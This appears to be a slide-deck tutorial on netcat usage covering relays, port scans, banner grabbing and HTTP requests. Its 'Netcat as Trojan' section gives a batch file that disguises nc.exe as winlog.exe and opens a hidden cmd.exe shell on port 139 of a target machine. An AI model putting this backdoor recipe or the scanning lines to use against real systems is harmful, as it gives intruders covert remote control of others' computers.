Netcat Commands
Netcat Commands
Netcat Commands
www.safehack.com
Created by NtWaK0 @ Safehack.com 1
This Netcat Manual is dedicated to
my Cat [Fion] or Ass in English
• [Extracted from
http://www.atstake.com/research/tools/ ]
Netcat has been dubbed the network swiss
army knife.
• It is a simple Unix utility which reads and
writes data across network connections, using
TCP or UDP protocol.
• It is designed to be a reliable "back-end" tool
that can be used directly or easily driven by
other programs and scripts.
-u UDP mode
1. Computer A IP 10.10.10.1
2. Computer B IP 10.10.10.2
3. Open 1 DOS windows on computer A
4. Open 2 DOS windows on computer B
5. Type this in The DOS windows on A "nc -v -L -p 666 -e "nc
10.10.10.2 666“
6. Type this in The First DOS windows on B "nc -v -L -p 666“
7. Type this in The Second DOS windows on B"nc -v 10.10.10.1
666“
8. Now Type Stuff in Second DOS windows on B and you should
see them on the first DOS windows on B and A must notice
One connection made
nc -L -p 9000 -e "nc NtWaK0.com 9001"
nc -l -p 9000
nc -v -v -z 127.0.0.1 1-53
nc -v -v -z 127.0.0.1 21 25 53 139
nc -v -v -z example.host 80 139 1433
nc -v -v -z example.host 80 139 1433
nc -v -u -z -w 3 example.host 20-30
nc -v -v -z -u -r example.host 111 66-70 88 53 87 161-
164 121-123 213 49 2
nc -v -v -z -r example.host 21-25 42 53 66-80 107-118
137-139 156 161 162 389 568 569 1025 1027 1352
1433
• nc -nvv xxx.xxx.xxx.xxx 80
• nc -nvv xxx.xxx.xxx.xxx 8080
• HEAD / HTTP/1.0
• [Carriage]
• [Carriage]
• nc -v www.website.com 80 < get.txt Retrieve from a
web site check for file presence.
• Your get.txt file will contain "GET HTTP/1.0\n\n"
echo "blahblahblah" | nc example.host 80 >
default.htm
cat get.txt | nc example.host 80
Created by NtWaK0 @ Safehack.com 13
Netcat as Trojan
• Netcat As Trojan
• @echo off
winlog.exe -L -d -p 139 -t -e cmd.exe (note
winlog.exe = nc.exe)
Once you ran the batch file on the box that
you want to trojan, telnet to it:
• c:\>nc -v [ipaddress of target] [port]
nc -v xxx.xxx.xxx.xx 53
nc -p 31337 example.host 139
nc -v -v -p 31337 example.host 139
nc -w 5 -p 31337 example.host 139
nc -v -v -w 5 -p 31337 example.host 139